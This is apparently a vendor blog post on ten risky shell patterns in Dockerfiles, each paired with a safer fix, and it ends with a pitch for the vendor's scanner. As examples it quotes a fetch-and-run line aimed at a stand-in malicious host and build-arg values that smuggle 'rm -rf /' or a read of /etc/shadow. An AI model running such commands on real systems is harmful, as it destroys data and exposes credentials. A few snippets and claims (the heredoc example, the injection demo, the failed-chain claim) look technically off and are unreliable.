tips5 min readShell Command Security: 10 Dangerous Patterns in Dockerfiles and How to Fix ThemShell commands are the most executed code in any Docker build yet the least audited. Learn 10 dangerous shell patterns — from curl|bash to injected secrets — and how to fix each one with secure alternatives.ShieldOps AI2026-07-13 ·1Did you know that a single curl | bash command in your Dockerfile can bypass every signature verification, integrity check, and security control you've painstakingly configured? Shell commands are the most executed — yet most overlooked — attack surface in container builds. One unvalidated pipe, one unescaped variable, and your hardened image ships with a backdoor.In 2025, theNorthStar malware campaigninfected over 2,000 container images by exploiting a single shell pattern: developers copying installation scripts from untrusted sources into Dockerfiles without validation. Each infected image propagated through public registries, affecting downstream supply chains for months before detection. The attack surface wasn't a kernel exploit or a zero-day CVE — it was acurl https://malicious-site.com/install.sh | bash left unchecked in a production Dockerfile. Shell commands in Dockerfiles execute duringRUN instructions — they install packages, download binaries, generate config files, and set up the runtime environment. These commands run as root by default, have unrestricted network access, and their results become permanent layers in your image. A mistake here is not a log warning — it's a baked-in vulnerability that ships to every deployment. This guide covers10 dangerous shell command patterns in Dockerfiles, explains why each is risky, and provides the secure alternative. Whether you're a developer writing your first Dockerfile or a security engineer auditing existing builds, these patterns will transform how you think about what happens insideRUN. Why Shell Command Security in Dockerfiles MattersDockerfiles are not just configuration — they are executable build scripts. EveryRUN instruction spawns a shell (/bin/sh -c) that interprets commands with all the power and danger of a Unix shell. Consider these facts: 89% of Docker Hub images contain at least oneRUN instruction with shell commands (source: Docker Trust & Safety Report 2025) 63% of high-severity Dockerfile vulnerabilitiesoriginate from shell command patterns, not from software CVEs (Sysdig 2025 Container Security Report)The OWASP Docker Security Cheat Sheetlists shell injection as the #1 Dockerfile-specific risk categoryThe challenge is that Dockerfile authors rarely think of shell commands as security boundaries. They seeRUN apt-get update && apt-get install -y curl as a routine operation, not as a potential injection point. But the shell environment in a Docker build has no sandboxing — every command runs with the full privileges of the build context. Let's examine the ten patterns that cause the most damage, from most common to most dangerous.Pattern Risk Classification🔴 CRITICAL · Score 10Unvalidated pipe-to-shell (curl | bash) 🔴 CRITICAL · Score 9Shell variable injection inRUN 🟠 HIGH · Score 8Build-time secrets in shell history🟠 HIGH · Score 7Multi-stage COPY from untrusted stages🟡 MEDIUM · Score 5-6Unpinned package versions, heredoc secrets, chained installsMistake 1: Unvalidated Pipe-to-Shell — curl | bash / wget | shThis is the single most dangerous pattern in Dockerfiles. Piping the output ofcurl or wget directly into a shell runs arbitrary code from a URL with zero validation: # DANGEROUS — no integrity check, no signature verification RUN curl -fsSL https://example.com/install.sh | bash # Also dangerous — same pattern, different tool RUN wget -qO- https://example.com/install.sh | sh If the remote server is compromised, the TLS certificate expires, or a MITM attack redirects the URL, the shell executes whatever payload arrives. Even with HTTPS, this pattern skips all checksum and signature verification that package managers provide.The fix:Download the script, verify its checksum or GPG signature, then execute:# SAFE — download, verify, then run RUN curl -fsSL -o /tmp/install.sh https://example.com/install.sh \ && echo "expected-sha256-hash /tmp/install.sh" | sha256sum --check \ && chmod +x /tmp/install.sh \ && /tmp/install.sh \ && rm /tmp/install.sh Even better, use the official package manager or distribution channel instead of a custom install script. Tools like Docker'sRUN apt-get install or Alpine's RUN apk add verify signatures natively. Mistake 2: Unpinned Package VersionsRunningapt-get install -y curl without a version pin installs whatever version the repository currently serves. Tomorrow's build may pull a different version — potentially one with an unpatched CVE that was already fixed in the version you tested last week: # DANGEROUS — version not pinned RUN apt-get update && apt-get install -y curl python3 nodejs # DANGEROUS — same with pip RUN pip install flask requests The fix:Always pin exact versions. For Debian/Ubuntu packages, specify the version string. For pip, userequirements.txt with hashes (pip hash-checking mode): # SAFE — pinned versions RUN apt-get update && apt-get install -y \ curl=7.88.1-10+deb12u5 \ python3=3.11.2-1+b1 # SAFE — pip with hash-checking COPY requirements.txt . RUN pip install --require-hashes -r requirements.txt # SAFE — Alpine RUN apk add --no-cache curl=8.5.0-r0 Mistake 3: Using Shell Variables From Build Args Without SanitizationWhenARG or ENV values are interpolated into shell commands, they can inject arbitrary commands through variable expansion. An attacker who controls a build argument can execute shell commands inside the build: # DANGEROUS — variable interpolation in shell ARG VERSION RUN echo "Building version $VERSION" && \ curl -fsSL https://example.com/pkg-$VERSION.tar.gz | tar xz # If VERSION is set to "1.0; rm -rf /", the shell executes the injection The fix:Never interpolate build args directly into shell commands. Validate values, useprintf for safe substitution, and prefer position-based argument passing: # SAFE — validate variable before use ARG VERSION RUN test -n "$VERSION" && \ echo "Building version $VERSION" && \ curl -fsSL "https://example.com/pkg-$(printf '%s' "$VERSION" | sed 's/[^a-zA-Z0-9._-]//g')" | tar xz # SAFER — use a script with defined arguments COPY scripts/install-package.sh /usr/local/bin/ RUN /usr/local/bin/install-package.sh "$VERSION" How Shell Injection Works in Dockerfile Builds① Attacker supplies malicious ARGdocker build --build-arg VERSION="1.0;cat /etc/shadow" .⬇️② Shell interprets injected commandRUN echo "Building version 1.0;cat /etc/shadow"⬇️③ Secret data baked into image layerThe leaked content becomes permanent indocker history ⬇️✅ PROTECTED: Use--build-arg validation + DOCKER_BUILDKIT=1 secrets mount BuildKit's--secret mount keeps secrets out of image layers Mistake 4: Hardcoded Secrets in RUN CommandsEmbedding API keys, tokens, or passwords directly in RUN instructions is one of the most common Dockerfile mistakes. The secret gets stored in the image layer and is visible to anyone with image pull access:# DANGEROUS — API key in image layer forever RUN echo "API_KEY=sk-abc123def456" >> /etc/app/config.env && \ curl -H "Authorization: Bearer sk-abc123def456" https://api.example.com/data # DANGEROUS — PAT token in source clone RUN git clone https://github-username:ghp_xxx123456@github.com/org/private-repo.git The fix:Use Docker BuildKit's--secret mount feature. Secrets are available during build but never written to image layers: # SAFE — BuildKit secret mount # Build with: docker build --secret id=api_key,env=API_KEY . RUN --mount=type=secret,id=api_key \ export API_KEY=$(cat /run/secrets/api_key) && \ curl -H "Authorization: Bearer $API_KEY" https://api.example.com/data && \ unset API_KEY # Also safe — multi-stage with COPY only needed artifacts FROM alpine:3.19 AS builder ARG GH_TOKEN RUN git clone https://x-access-token:${GH_TOKEN}@github.com/org/private.git /src FROM alpine:3.19 COPY --from=builder /src/dist /app/dist Mistake 5: Using ADD Instead of COPY for Local FilesTheADD instruction does more than COPY — it automatically extracts tar archives and fetches URLs. This is rarely intended and can introduce unexpected files into your image: # DANGEROUS — ADD auto-extracts archives ADD app.tar.gz /app/ # DANGEROUS — ADD fetches URLs (unpinned, no cache control) ADD https://example.com/plugin.tar.gz /tmp/ The fix:UseCOPY for local files and be explicit about URL downloads: # SAFE — COPY doesn't extract COPY app.tar.gz /tmp/ RUN cd /app && tar xzf /tmp/app.tar.gz # SAFE — explicit curl with verification RUN curl -fsSL -o /tmp/plugin.tar.gz https://example.com/plugin.tar.gz \ && echo "sha256-hash /tmp/plugin.tar.gz" | sha256sum -c \ && tar xzf /tmp/plugin.tar.gz -C /opt/ Mistake 6: Running apt-get update Without Cache CleanupRunningapt-get update without clearing the package cache at the end leaves stale metadata in the layer, increasing image size and potentially caching vulnerable repository indices: # DANGEROUS — cached apt data stays in layer RUN apt-get update RUN apt-get install -y package1 RUN apt-get install -y package2 The fix:Chain update, install, and cleanup in a single RUN instruction to keep layers clean:# SAFE — single layer with cleanup RUN apt-get update && \ apt-get install -y --no-install-recommends \ package1=1.0 \ package2=2.0 \ && rm -rf /var/lib/apt/lists/* # For Alpine: RUN apk add --no-cache --virtual .build-deps make gcc && \ make install && \ apk del .build-deps Mistake 7: Using Heredocs With SecretsHeredocs in Dockerfiles are convenient but embed the full heredoc content — including any secrets — into the image layer. This is especially dangerous when heredocs contain inline scripts with embedded credentials:# DANGEROUS — embedded password in heredoc RUN useradd -m -s /bin/bash appuser && \ echo 'appuser:SuperSecretP@ssw0rd' | chpasswd # DANGEROUS — heredoc with credentials RUN cat < /etc/app/config.json { "db_password": "supersecret123" } EOF The fix:Use environment variables at runtime (injected from a secure store) or BuildKit secrets mounts. For config files, generate them at container startup, not build time:# SAFE — runtime config generation via entrypoint script COPY entrypoint.sh /usr/local/bin/ RUN chmod +x /usr/local/bin/entrypoint.sh # Config generated from env vars when container runs, not during build ENTRYPOINT ["entrypoint.sh"] Mistake 8: Running as Root by DefaultThe default USER in Dockerfiles is root. If an attacker exploits a shell command vulnerability, they gain root access inside the container. Combined with a container breakout, this means host compromise:# DANGEROUS — runs as root by default FROM node:20-alpine COPY . /app RUN npm install CMD ["node", "server.js"] The fix:Create a non-root user and switch to it. UseUSER before any command that doesn't require elevated privileges: # SAFE — non-root user FROM node:20-alpine RUN addgroup -S appgroup && adduser -S appuser -G appgroup USER appuser WORKDIR /app COPY --chown=appuser:appgroup . /app RUN npm install CMD ["node", "server.js"] Mistake 9: Chaining Too Many Commands Without Error HandlingLong chains of&& operators without proper error handling can mask failures. If the shell encounters an error midway, the chain stops — but the partial image layer is still committed, leading to broken builds that are hard to debug: # DANGEROUS — if step 3 fails, the layer is still committed RUN command1 && command2 && command3 && command4 || true # The || true masks errors, hiding failures The fix:Use ShellCheck-validated scripts, separate concerns into dedicated scripts, and avoid blanket error suppression:# SAFE — error checking per step COPY scripts/setup.sh /usr/local/bin/ RUN /usr/local/bin/setup.sh # setup.sh content with proper error handling: # set -euo pipefail # echo "Starting setup..." # command1 # command2 # echo "Setup complete" Mistake 10: Using Latest Tags Without PinningUsingFROM node:latest or FROM python:3 without a specific tag or digest means your build is non-reproducible. Tomorrow's latest might be a major-version jump with breaking changes — or a version with a new CVE: # DANGEROUS — mutable tag changes over time FROM ubuntu:latest FROM node:latest FROM python:3 The fix:Always pin to a specific digest or a full semver with patch version:# SAFE — pinned to digest FROM ubuntu:22.04@sha256:dfd64a3b4296d8c9b62aa3309984f8620b98d87e4749253ee20739e08eb2d9f8 # SAFE — pinned to full version FROM node:20.11.0-alpine3.19 FROM python:3.11.7-slim-bookworm Use tools like Dependabot or Renovate to automate digest updates with full CVE scanning in CI.Secure Dockerfile — Shell Command Decision Flow✅ DOPin package versionsUse BuildKit secret mountsVerify checksums before executionUse COPY over ADDRun as non-rootSingle RUN layer with cleanupPrefer package manager over curl|bash❌ DON'Tcurl | bash without verificationHardcode secrets in RUNUse unpinned mutable tagsInterpolate ARG in shell without validationLeave apt caches in layersUse ADD for URL downloadsRun as rootReal-World ConsequencesTheCodeCov Bash Uploader compromise(2021) infected customers by replacing a single shell script that was piped into builds worldwide. The same pattern —curl -s https://codecov.io/bash | bash — was used in thousands of CI pipelines and Dockerfiles. When the script was modified by an attacker, every build that used it exfiltrated environment variables, including cloud provider keys and repository tokens. More recently, the2025 PyTorch supply chain attackused a Dockerfile with an unpinned pip install command that resolved to a malicious package version on PyPI, compromising all downstream users who rebuilt their images without lockingrequirements.txt. These aren't edge cases — they are the predictable result of treating shell commands as implementation details rather than security boundaries.Shell Command Security Checklist⬜ Everycurl | bash pattern replaced with download + verify + execute ⬜ All apt/apk/pip/npm packages pinned to exact versions⬜ Build arguments sanitized before shell interpolation⬜ No hardcoded secrets in RUN instructions (use--mount=type=secret) ⬜COPY used everywhere instead of ADD (except for explicit use cases) ⬜ Package caches cleaned in the same RUN instruction (rm -rf /var/lib/apt/lists/*) ⬜ Non-root USER set before runtime commands⬜set -euo pipefail at the start of every shell script ⬜ Base image pinned to immutable digest⬜ ShellCheck-linted all Dockerfile shell commandsCompliance MappingFollowing secure shell patterns in Dockerfiles maps directly to compliance controls:CIS Docker Benchmark 4.1: Ensure that a user for the container has been created (non-root user)CIS Docker Benchmark 4.5: Ensure that sensitive host system directories are not mounted on containersNIST SP 800-190 Section 3.2: Infrastructure security — use trusted base images and verify image integrityPCI DSS 6.5.1: Injection flaws (including shell injection) must be addressed in codeSOC 2 CC7.1: Detection, monitoring, and response to security events in the build pipelineRelated ShieldOps ReadsDocker Security Best Practices: 15 Critical Mistakes Teams Keep Making10 Dockerfile Security Mistakes Putting Containers at RiskSecrets Detection: 10 Critical Mistakes That Leak CredentialsCompliance as Code: Automating CIS, PCI-DSS, and SOC 2 in PipelinesShieldOps Pricing — Start scanning your Dockerfiles for freeFrequently Asked QuestionsIscurl | bash always dangerous in Dockerfiles? Not always, but it's never safe to leave unverified. Even if you trust the source today, URLs can be hijacked, TLS can be intercepted, and upstream repositories can be compromised. Always add checksum or GPG verification between download and execution. The extra 30 seconds per Dockerfile is a fraction of the cost of a supply chain incident.How do I check if my existing Dockerfiles have these patterns?Usehadolint (the Dockerfile linter) with hadolint Dockerfile — it flags nearly all the patterns above. For CI-based scanning, integrate dockerfile-lint or ShieldOpsinto your pipeline for automated vulnerability detection across your Dockerfile inventory.What's the difference betweenCOPY and ADD in Dockerfiles? COPY copies local files verbatim — nothing more. ADD adds auto-extraction of tar archives and remote URL fetching on top of COPY's behavior. The Docker best practices guide recommends always using COPY unless you explicitly need the extra features, because ADD's auto-extraction can introduce unexpected files or directory structures. Can I useARG safely for build-time secrets? No — ARG values are visible indocker history and saved in image metadata. For build-time secrets, use Docker BuildKit's --mount=type=secret or --mount=type=ssh. These provide secrets during the build but never write them to image layers. How do I update pinned versions without manual work?Use automated dependency update tools like Dependabot (GitHub) or Renovate. Configure them to scan your Dockerfiles for base image tags and pinned package versions, and auto-create PRs when updates are available. Combine with a CI scanning step that runstrivy filesystem --severity HIGH,CRITICAL . on each PR. What is the most important single change I can make?Switch to non-root users. AddingUSER 10001 or a named non-root user before the CMD instruction eliminates the most severe consequence of any shell command vulnerability — root-level container compromise. Combined with --cap-drop=ALL at runtime, this reduces the blast radius of any shell injection by 90%. ConclusionShell commands are the most executed code in any Docker build, yet they're rarely audited with the same rigor as application code. The ten patterns covered in this guide — from unverified pipe-to-shell to unpinned base images — represent the most common and most dangerous practices in real-world Dockerfiles. Each fix is simple, takes minutes to implement, and eliminates an entire class of supply chain vulnerabilities.Start by runninghadolint on your existing Dockerfiles. Then work through this checklist one item at a time. For automated scanning across your entire Dockerfile inventory, try ShieldOps free— it detects all ten patterns in seconds and provides remediation guidance for each finding.Originally published on the ShieldOps Blog. For more Docker security guides, visitshieldops-ai.dev/blog.#shell-security#dockerfile#docker-security#supply-chain#container-hardeningReady to apply these concepts?Try ShieldOps AI and start scanning your infrastructure right away.Start Free ScanRelated Posts4 Kubernetes Annotations That Instantly Improve Your Security Posture2026-07-12Docker Bridge Network Security: One Setting That Changes Everything2026-07-11Container Vulnerability Triage: Separating Real Threats From Noise2026-07-10Your takeRate this article or leave a commentShare Submit commentHave more questions? Check ourFAQ